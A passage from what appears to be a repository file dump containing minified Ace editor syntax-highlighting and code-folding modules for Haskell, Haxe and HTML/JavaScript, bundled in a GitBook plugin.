en|reads|readsPrec|realToFrac|recip|rem|repeat|replicate|return|reverse|round|scaleFloat|scanl|scanl1|scanr|scanr1|seq|sequence|sequence_|show|showChar|showList|showParen|showString|shows|showsPrec|significand|signum|sin|sinh|snd|span|splitAt|sqrt|subtract|succ|sum|tail|take|takeWhile|tan|tanh|toEnum|toInteger|toRational|truncate|uncurry|undefined|unlines|until|unwords|unzip|unzip3|userError|words|writeFile|zip|zip3|zipWith|zipWith3)\\\\b\"},{include:\"#infix_op\"},{token:\"keyword.operator.haskell\",regex:\"[|!%$?~+:\\\\-.=</>\\\\\\\\]+\",comment:\"In case this regex seems overly general, note that Haskell permits the definition of new operators which can be nearly any string of punctuation characters, such as $%^&*.\"},{token:\"punctuation.separator.comma.haskell\",regex:\",\"}],\"#block_comment\":[{token:\"punctuation.definition.comment.haskell\",regex:\"\\\\{-(?!#)\",push:[{include:\"#block_comment\"},{token:\"punctuation.definition.comment.haskell\",regex:\"-\\\\}\",next:\"pop\"},{defaultToken:\"comment.block.haskell\"}]}],\"#comments\":[{token:\"punctuation.definition.comment.haskell\",regex:\"--.*\",push_:[{token:\"comment.line.double-dash.haskell\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.double-dash.haskell\"}]},{include:\"#block_comment\"}],\"#infix_op\":[{token:\"entity.name.function.infix.haskell\",regex:\"\\\\([|!%$+:\\\\-.=</>]+\\\\)|\\\\(,+\\\\)\"}],\"#module_exports\":[{token:\"meta.declaration.exports.haskell\",regex:\"\\\\(\",push:[{token:\"meta.declaration.exports.haskell\",regex:\"\\\\)\",next:\"pop\"},{token:\"entity.name.function.haskell\",regex:\"\\\\b[a-z][a-zA-Z_']*\"},{token:\"storage.type.haskell\",regex:\"\\\\b[A-Z][A-Za-z_']*\"},{token:\"punctuation.separator.comma.haskell\",regex:\",\"},{include:\"#infix_op\"},{token:\"meta.other.unknown.haskell\",regex:\"\\\\(.*?\\\\)\",comment:\"So named because I don't know what to call this.\"},{defaultToken:\"meta.declaration.exports.haskell\"}]}],\"#module_name\":[{token:\"support.other.module.haskell\",regex:\"[A-Z][A-Za-z._']*\"}],\"#pragma\":[{token:\"meta.preprocessor.haskell\",regex:\"\\\\{-#\",push:[{token:\"meta.preprocessor.haskell\",regex:\"#-\\\\}\",next:\"pop\"},{token:\"keyword.other.preprocessor.haskell\",regex:\"\\\\b(?:LANGUAGE|UNPACK|INLINE)\\\\b\"},{defaultToken:\"meta.preprocessor.haskell\"}]}],\"#type_signature\":[{token:[\"meta.class-constraint.haskell\",\"entity.other.inherited-class.haskell\",\"meta.class-constraint.haskell\",\"variable.other.generic-type.haskell\",\"meta.class-constraint.haskell\",\"keyword.other.big-arrow.haskell\"],regex:\"(\\\\(\\\\s*)([A-Z][A-Za-z]*)(\\\\s+)([a-z][A-Za-z_']*)(\\\\)\\\\s*)(=>)\"},{include:\"#pragma\"},{token:\"keyword.other.arrow.haskell\",regex:\"->\"},{token:\"keyword.other.big-arrow.haskell\",regex:\"=>\"},{token:\"support.type.prelude.haskell\",regex:\"\\\\b(?:Int(?:eger)?|Maybe|Either|Bool|Float|Double|Char|String|Ordering|ShowS|ReadS|FilePath|IO(?:Error)?)\\\\b\"},{token:\"variable.other.generic-type.haskell\",regex:\"\\\\b[a-z][a-zA-Z0-9_']*\\\\b\"},{token:\"storage.type.haskell\",regex:\"\\\\b[A-Z][a-zA-Z0-9_']*\\\\b\"},{token:\"support.constant.unit.haskell\",regex:\"\\\\(\\\\)\"},{include:\"#comments\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"hs\"],keyEquivalent:\"^~H\",name:\"Haskell\",scopeName:\"source.haskell\"},r.inherits(s,i),t.HaskellHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/haskell\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/haskell_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./haskell_highlight_rules\").HaskellHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.blockComment=null,this.$id=\"ace/mode/haskell\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-haxe.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/haxe_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"break|case|cast|catch|class|continue|default|else|enum|extends|for|function|if|implements|import|in|inline|interface|new|override|package|private|public|return|static|super|switch|this|throw|trace|try|typedef|untyped|var|while|Array|Void|Bool|Int|UInt|Float|Dynamic|String|List|Hash|IntHash|Error|Unknown|Type|Std\",t=\"null|true|false\",n=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"constant.language\":t},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:n,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({<]\"},{token:\"paren.rparen\",regex:\"[\\\\])}>]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.HaxeHighlightRules=o}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/haxe\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/haxe_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./haxe_highlight_rules\").HaxeHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/haxe\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-html.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\